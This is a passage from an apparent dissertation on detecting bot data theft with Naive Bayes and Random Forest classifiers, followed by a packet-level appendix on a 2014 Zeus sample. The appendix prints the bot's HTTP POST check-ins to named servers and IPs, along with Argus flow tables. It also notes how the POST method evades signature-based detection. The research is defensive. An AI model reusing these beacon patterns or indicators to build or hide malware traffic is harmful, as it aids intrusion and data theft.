The use of the HTTP POST method with an encrypted payload to request
configuration file updates is significant for multiple reasons. It represents a more
sophisticated technique than the use of the GET method with no payload because it
allows additional information to be sent along with the request, a capability that could be
leveraged to reduce the frequency of network connections and reduce the malware’s
overall activity fingerprint. This new technique also alters the expected network behavior
of a host infected with Zeus that signature-based intrusion detection systems such as
Snort® depend on (Alserhani, Akhlaq, Awan, & Cullen, 2010). The implication is that
recent Zeus activity using this technique may have gone undetected by intrusion detection
systems that had been successful at detecting earlier variants that used the GET method to
retrieve configuration files at the beginning of the infection sequence.
The sensitivity of the classifiers to the training and testing data suggests that the
results of previous research that did not carefully consider these factors may not hold for
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different variations within the same data, let alone for different data. This could result in
unexpected results when applying these methods to new data.
The results of this work offer potential for generalization and for application in
network intrusion detection systems. Machine learning methods have been successfully
applied across a number of domains such as character recognition, image recognition,
speech recognition, natural language processing, medical diagnosis, and robotics (Rieck,
2011). This work supplements the machine learning theoretical and engineering
repertoires with empirical results. Machine learning theory gains insight from the role
human interaction plays in this classification technique. An intrusion detection system
could be implemented based on these new insights. It could be applied independently or
in conjunction with other information security mechanisms such as signature-based
intrusion detection systems.

Recommendations
Experimentation with packet level data is the foremost recommendation for future
work along the lines of the research presented here. All of the elements of the HTTP
headers should be examined, beginning with the resource request methods, as previously
noted. Refining the interaction feature into a set of more precise features is also
recommended. This includes obtaining more precise timing information and developing
a better statistical model of which network transactions result from user interactions. The
positive results in this work without that precision suggest that better results could be
achieved with it.
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Examining how the performance improvements resulting from the addition of the
interaction feature change across more extreme changes in the benign data patterns is also
recommended. This work included changes over time in the benign data sets but did not
fully investigate their impacts. Future work should also include timing information,
particularly for packet level information. The timestamps of the packet transmissions
would serve as the basis for constructing various time delta features, such as time
between connections to the same remote hosts. The net flow timestamps were not used in
this work, primarily to simplify the process of integrating malicious flows with benign
flows captured on separate hosts at separate times.
A final recommendation is to create a honeypot environment that also supports the
generation and capture of user interaction such that fully integrated data sets could be
generated and made available for research. Most of the data sets provided by the
operators of honeypots contain only the malicious network traffic. This would not be a
trivial undertaking, but would produce more accurate data sets help researchers avoid
some of the pitfalls associated with data integration.

Summary
The research presented in this Dissertation Report achieved its stated goal of revealing
techniques for improving detection of data theft from a networked computer by bot
malware. The experimental results demonstrated that including information about user
interaction on the infected computer improved the detection performance of two
classifiers, Naive Bayes and Random Forest. The experiments also demonstrated which
specific sets of features derived from network flow software, Argus, resulted in the best
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performance in terms of true and false positives by these two classifiers. This new
knowledge represents the primary contribution of this work to the information security
body of knowledge.
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Deep Packet Inspection of 2014 Zeus Malware Samples
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Appendix Details of Analysis
The detailed analysis presented in this Appendix revealed new knowledge about the
network behavior of contemporary variants of the Zeus botnet from samples captured in
the wild during March and April of 2014. A total of fifteen sample network trace files
were initially examined. Seven of the samples, all those that employed the domain
generation algorithm (DGA), were found to contain no HTTP POST requests and
therefore not included here. The infected clients in those samples did not send any
content to the malicious servers, detection of which was the focus of this research. Eight
of the samples were found to contain HTTP POST requests with encrypted content,
consistent with the communications behavior reported for Zeus by previous researchers.
The HTTP requests and responses in each of these samples were thoroughly analyzed at
the inter-packet level to gain deeper insight into their observable network behavior and to
determine which corresponding netflows would be most appropriate for training and
testing the detection techniques in this research.

Sample File 32c collected on 03 Apr 2014 with total time of 4 minutes 54 seconds
This network trace sample file consisted of 16 successful TCP connections, as
summarized in Table A-1. A column is included in the table to indicate whether the
connection was preceded by a DNS query when the HTTP Host Header field specified a
domain name as opposed to an IP address. In this case domain names were specified for
the suspicious servers.
Table A-1. Summary of Connections in File 32c
Source Port

Destination IP

HTTP Host Header

DNS?
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Source Port

Destination IP

HTTP Host Header

DNS?

1043

173.255.227.44

tandembikesoftware.com

Yes

1044

92.51.171.104

moneytrax.de

Yes

1045

92.51.171.104

moneytrax.de

n/a

1046

92.51.171.104

moneytrax.de

n/a

1047

92.51.171.104

moneytrax.de

n/a

1048

92.51.171.104

moneytrax.de

n/a

1049

92.51.171.104

moneytrax.de

n/a

1050

92.51.171.104

moneytrax.de

n/a

1051

92.51.171.104

moneytrax.de

n/a

1052

92.51.171.104

moneytrax.de

n/a

1053

92.51.171.104

moneytrax.de

n/a

1054

92.51.171.104

moneytrax.de

n/a

1055

92.51.171.104

moneytrax.de

n/a

1056

92.51.171.104

moneytrax.de

n/a

1057

92.51.171.104

moneytrax.de

n/a

1058

92.51.171.104

moneytrax.de

n/a

First Connection: Source Port 1043, Destination IP 173.255.227.44
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
The request, a POST method, specified a resource named “file.php” along with its
relative path. The request included a message body (entity-body) with a length of 120
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bytes. The message body contained no readable text. The Connection header specified
Keep-Alive to explicitly maintain a persistent connection after the response was
complete, suggesting that additional requests might follow. The Cache-Control header
specified No-Cache to prevent caching by all caching mechanisms in proxies or gateways
along the request chain. The response, successful status code 200 OK, included a
message body with a length of 118 bytes and no readable text. The Cache-Control header
used multiple tokens (values) to prevent caching along the request chain. The Expires
header specified a date and time in the distant past (1981). This is not a prescribed way
to use this header, according to RFC 2616, and may indicate a redundant effort to prevent
caching. The Content-Type header specified Text/Html and the message body content
was in fact readable text.

POST /phpbb2/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: tandembikesoftware.com
Content-Length: 120
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 200 OK
Date: Thu, 03 Apr 2014 21:11:50 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.18
Set-Cookie: TW_APP=fu2e6mq7rc1f07cg5flmqnft77; path=/;
domain=.tandembikesoftware.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
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Cache-Control: no-store, no-cache, must-revalidate, post-check=0, precheck=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 118
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Fatal error: Class 'Phpbb2Controller' not found in
/srv/www/tandembikesoftware.com/public_html/index.php on line 547

A query of ZeuS Tracker produced no matches for the IP Address 173.255.227.44 or
the domain name “tandembikesoftware.com” of the server observed in this connection.
A query using whois indicated that the IP address belonged to a block assigned to an ISP
in the United States and the domain name had been registered to an individual in the
United States for at least three years.
For this connection, Argus created three flows, one for the HTTP request and response,
and two with packets to close the connection.
Table A-2: Flows from First Connection in File 32c
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1043

173.255.227.44

80

0.540241

572

763

4

3

1043

173.255.227.44

80

0.000000

60

54

1

1

1043

173.255.227.44

80

0.000000

60

0

1

0

Second Connection: Source Port 1044, Destination IP 92.51.171.104
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The HTTP content over this TCP connection consisted of two requests from the local
client to the remote server with corresponding responses from the remote server. The
first request, a POST method, specified a resource named “file.php” along with its
relative path. The request included a message body with a length of 120 bytes. The
message body contained no readable text. The Connection header specified Keep-Alive
to explicitly maintain a persistent connection after the response was complete, suggesting
that additional requests might follow. The Cache-Control header specified No-Cache to
prevent caching by all caching mechanisms in proxies or gateways along the request
chain. The response, redirection status code 301 Moved Permanently, did not include a
message body. The Cache-Control header used multiple tokens to prevent caching along
the request chain. The Expires header again specified a date in the past. The Location
header specified a complete URI for the new location. The X-Pingback header was used
in this response with a resource (xmlrpc.php) that suggested notification via a remote
procedure call. This technique would allow the remote host to track requests.

POST /images/upload/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: moneytrax.de
Content-Length: 120
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 301 Moved Permanently
Date: Thu, 03 Apr 2014 21:11:50 GMT
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Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.10
X-Pingback: http://www.moneytrax.de/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Location: http://www.moneytrax.de/images/upload/file.php
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

The second request, a POST method, specified a resource named “file.php” along with
its relative path. This request also included a message body with a length of 120 bytes.
The message body contained no readable text, but was identical to the message body in
the previous request. The second response, redirection status code 301 Moved
Permanently, was essentially the same as the first response only time-stamped one second
later.

POST /images/upload/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: moneytrax.de
Content-Length: 120
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 301 Moved Permanently
Date: Thu, 03 Apr 2014 21:11:51 GMT
Server: Apache/2.2.22 (Ubuntu)
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X-Powered-By: PHP/5.3.10-1ubuntu3.10
X-Pingback: http://www.moneytrax.de/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Location: http://www.moneytrax.de/images/upload/file.php
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=1, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

A query of ZeuS Tracker produced no matches for the IP address 92.51.171.104 or the
domain name “moneytrax.de” of the server observed in this connection. A query using
whois indicated that the IP address belonged to a block assigned to a company in
Germany and the domain name had also been registered to a company in Germany for
more than seven years.
For this connection, Argus created two flows, one for the HTTP requests and
responses, and one with packets to close the connection.
Table A-3: Flows from Second Connection in File 32c
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1044

92.51.171.104

80

2.173191

1076

1377

7

7

1044

92.51.171.104

80

0.068973

60

54

1

1

Third Connection: Source Port 1045, Destination IP 92.51.171.104
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
The request in this case was a GET method specifying the “file.php” resource as before.
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The request did not include a message body. Again the Cache-Control header specified
No-Cache to prevent caching. The response, error status code 404 Not Found, did
include a message body. Again the X-Pingback header was used and the Expires header
with past date was used. The Content-Type header specified Text/html and the content
was readable text.

GET /images/upload/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.moneytrax.de
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 404 Not Found
Date: Thu, 03 Apr 2014 21:11:51 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.10
X-Pingback: http://www.moneytrax.de/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
( html content removed )

For this connection, Argus created one flow.
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Table A-4: Flows from Third Connection in File 32c
sport
1045

daddr

dport

92.51.171.104

80

dur
0.431740

sbytes

dbytes

spkts

dpkts

911

13829

12

13

Fourth Connection: Source Port 1046, Destination IP 92.51.171.104
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
The request and response were essentially the same as in the previous connection.

GET /images/upload/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.moneytrax.de
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 404 Not Found
Date: Thu, 03 Apr 2014 21:11:52 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.10
X-Pingback: http://www.moneytrax.de/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
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( html content removed )

For this connection, Argus created one flow.
Table A-5: Flows from Fourth Connection in File 32c
sport
1046

daddr

dport

92.51.171.104

80

dur
0.419103

sbytes

dbytes

spkts

dpkts

911

13775

12

12

Fifth Connection: Source Port 1047, Destination IP 92.51.171.104
The HTTP content over this TCP connection consisted of two requests from the local
client to the remote server with corresponding responses from the remote server. These
requests and responses repeated those in the second connection, only the timestamps of
the responses were different.

POST /images/upload/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: moneytrax.de
Content-Length: 120
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 301 Moved Permanently
Date: Thu, 03 Apr 2014 21:11:57 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.10
X-Pingback: http://www.moneytrax.de/xmlrpc.php
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Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Location: http://www.moneytrax.de/images/upload/file.php
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

POST /images/upload/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: moneytrax.de
Content-Length: 120
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 301 Moved Permanently
Date: Thu, 03 Apr 2014 21:11:58 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.10
X-Pingback: http://www.moneytrax.de/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Location: http://www.moneytrax.de/images/upload/file.php
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=1, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
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For this connection, Argus created two flows, one for the requests and responses and
another with packets to close the connection.
Table A-6: Flows from Fifth Connection in File 32c
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1047

92.51.171.104

80

2.090312

1076

1323

7

6

1047

92.51.171.104

80

0.070885

60

54

1

1

Sixth Connection: Source Port 1048, Destination IP 92.51.171.104
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
The request and response repeated those in the fourth connection, only the response
timestamps were different.

GET /images/upload/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.moneytrax.de
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 404 Not Found
Date: Thu, 03 Apr 2014 21:11:57 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.10
X-Pingback: http://www.moneytrax.de/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
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Vary: Accept-Encoding
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
( html/script content removed )

For this connection, Argus created one flow.
Table A-7: Flows from Sixth Connection in File 32c
sport
1048

daddr

dport

92.51.171.104

80

dur
0.443478

sbytes

dbytes

spkts

dpkts

911

13775

12

12

Seventh Connection: Source Port 1049, Destination IP 92.51.171.104
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
The request and response in this connection again repeated those in the fourth and sixth
connections.

GET /images/upload/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.moneytrax.de
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 404 Not Found
Date: Thu, 03 Apr 2014 21:11:58 GMT
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Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.10
X-Pingback: http://www.moneytrax.de/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
( html/script content removed )

For this connection, Argus created one flow.
Table A-8: Flows from Seventh Connection in File 32c
sport
1049

daddr
92.51.171.104

dport
80

dur
0.421246

sbytes

dbytes

spkts

dpkts

911

13775

12

12

Eighth Connection: Source Port 1050, Destination IP 92.51.171.104
The HTTP content over this TCP connection consisted of two requests from the local
client to the remote server with corresponding responses from the remote server. Again
the requests and responses were repeats of earlier connections.

POST /images/upload/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: moneytrax.de
Content-Length: 120
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Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 301 Moved Permanently
Date: Thu, 03 Apr 2014 21:12:04 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.10
X-Pingback: http://www.moneytrax.de/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Location: http://www.moneytrax.de/images/upload/file.php
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

POST /images/upload/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: moneytrax.de
Content-Length: 120
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 301 Moved Permanently
Date: Thu, 03 Apr 2014 21:12:04 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.10
X-Pingback: http://www.moneytrax.de/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
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Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Location: http://www.moneytrax.de/images/upload/file.php
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=1, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

For this connection, Argus created two flows, one for the requests and responses and
another with packets to close the connection.
Table A-9: Flows from Eighth Connection in File 32c
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1050

92.51.171.104

80

2.086494

1076

1323

7

6

1050

92.51.171.104

80

0.069114

60

54

1

1

Ninth Connection: Source Port 1051, Destination IP 92.51.171.104
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
Again the request and response were repeats of earlier connections.

GET /images/upload/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.moneytrax.de
Connection: Keep-Alive
Cache-Control: no-cache
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HTTP/1.1 404 Not Found
Date: Thu, 03 Apr 2014 21:12:04 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.10
X-Pingback: http://www.moneytrax.de/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
( html/script content removed )

For this connection, Argus created one flow.
Table A-10: Flows from Ninth Connection in File 32c
sport
1051

daddr
92.51.171.104

dport
80

dur
0.418963

sbytes

dbytes

spkts

dpkts

911

13775

12

12

Tenth Connection: Source Port 1052, Destination IP 92.51.171.104
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
Again the request and response were repeats of earlier connections.

GET /images/upload/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
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Host: www.moneytrax.de
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 404 Not Found
Date: Thu, 03 Apr 2014 21:12:05 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.10
X-Pingback: http://www.moneytrax.de/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
( html/script content removed )

For this connection, Argus created one flow.
Table A-11: Flows from Tenth Connection in File 32c
sport
1052

daddr
92.51.171.104

dport
80

dur
0.419469

sbytes

dbytes

spkts

dpkts

911

13775

12

12

Eleventh Connection: Source Port 1053, Destination IP 92.51.171.104
The HTTP content over this TCP connection consisted of two requests from the local
client to the remote server with corresponding responses from the remote server. Again
the requests and responses were repeats of earlier connections.
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POST /images/upload/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: moneytrax.de
Content-Length: 120
Connection: Keep-Alive
Cache-Control: no-cache
(binary content removed )
HTTP/1.1 301 Moved Permanently
Date: Thu, 03 Apr 2014 21:12:10 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.10
X-Pingback: http://www.moneytrax.de/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Location: http://www.moneytrax.de/images/upload/file.php
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

POST /images/upload/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: moneytrax.de
Content-Length: 120
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
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HTTP/1.1 301 Moved Permanently
Date: Thu, 03 Apr 2014 21:12:11 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.10
X-Pingback: http://www.moneytrax.de/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Location: http://www.moneytrax.de/images/upload/file.php
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=1, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

For this connection, Argus created two flows, one for the requests and responses and
another with packets to close the connection.
Table A-12: Flows from Eleventh Connection in File 32c
sport

daddr

dport

dur

sbytes

dbytes

spkts

dpkts

1053

92.51.171.104

80

2.125171

1076

1323

7

6

1053

92.51.171.104

80

0.070738

60

54

1

1

Twelfth Connection: Source Port 1054, Destination IP 92.51.171.104
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
Again the request and response were repeats of earlier connections.

GET /images/upload/file.php HTTP/1.1
Accept: */*
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User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.moneytrax.de
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 404 Not Found
Date: Thu, 03 Apr 2014 21:12:10 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.10
X-Pingback: http://www.moneytrax.de/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
( html/script content removed )

For this connection, Argus created one flow.
Table A-13: Flows from Twelfth Connection in File 32c
sport
1054

daddr
92.51.171.104

dport
80

Dur
0.427232

sbytes

dbytes

spkts

dpkts

911

13775

12

12

Thirteenth Connection: Source Port 1055, Destination IP 92.51.171.104
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
Again the request and response were repeats of earlier connections.
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GET /images/upload/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.moneytrax.de
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 404 Not Found
Date: Thu, 03 Apr 2014 21:12:11 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.10
X-Pingback: http://www.moneytrax.de/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
( html/script content removed )

For this connection, Argus created one flow.
Table A-14: Flows from Thirteenth Connection in File 32c
sport
1055

daddr
92.51.171.104

dport
80

dur
0.419937

sbytes

dbytes

spkts

dpkts

911

13775

12

12
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Fourteenth Connection: Source Port 1056, Destination IP 92.51.171.104
The HTTP content over this TCP connection consisted of two requests from the local
client to the remote server with corresponding responses from the remote server. Again
the requests and responses were repeats of earlier connections.

POST /images/upload/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: moneytrax.de
Content-Length: 120
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 301 Moved Permanently
Date: Thu, 03 Apr 2014 21:12:17 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.10
X-Pingback: http://www.moneytrax.de/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Location: http://www.moneytrax.de/images/upload/file.php
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

POST /images/upload/file.php HTTP/1.1
Accept: */*
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User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: moneytrax.de
Content-Length: 120
Connection: Keep-Alive
Cache-Control: no-cache
( non-readable content removed )
HTTP/1.1 301 Moved Permanently
Date: Thu, 03 Apr 2014 21:12:17 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.10
X-Pingback: http://www.moneytrax.de/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Location: http://www.moneytrax.de/images/upload/file.php
Vary: Accept-Encoding
Content-Length: 0
Keep-Alive: timeout=1, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

For this connection, Argus created one flow.
Table A-15: Flows from Fourteenth Connection in File 32c
sport
1056

daddr
92.51.171.104

dport
80

dur
2.115750

sbytes

dbytes

spkts

dpkts

1076

1323

7

6

Fifteenth Connection: Source Port 1057, Destination IP 92.51.171.104
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
Again the request and response were repeats of earlier connections.
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GET /images/upload/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.moneytrax.de
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 404 Not Found
Date: Thu, 03 Apr 2014 21:12:17 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.10
X-Pingback: http://www.moneytrax.de/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
( html/script content removed )

For this connection, Argus created one flow.
Table A-16: Flows from Fifteenth Connection in File 32c
sport
1057

daddr
92.51.171.104

dport
80

dur
0.429810

sbytes

dbytes

spkts

dpkts

911

13775

12

12
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Sixteenth Connection: Source Port 1058, Destination IP 92.51.171.104
The HTTP content over this TCP connection consisted of a single request from the
local client to the remote server with a corresponding response from the remote server.
Again the request and response were repeats of earlier connections.

GET /images/upload/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.moneytrax.de
Connection: Keep-Alive
Cache-Control: no-cache

HTTP/1.1 404 Not Found
Date: Thu, 03 Apr 2014 21:12:18 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.10
X-Pingback: http://www.moneytrax.de/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
( html/script content removed )

For this connection, Argus created one flow.
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Table A-17: Flows from Sixteenth Connection in File 32c
sport
1058

daddr
92.51.171.104

dport
80

dur
0.428781

sbytes

dbytes

spkts

dpkts

911

13775

12

12

In this sample file (32c), the bot received a successful response from the first server,
but did not receive a successful response from the second server, even after multiple
attempts. As a result, not much was learned about the network communications behavior
based on the connections in this sample. The infected client made requests using both the
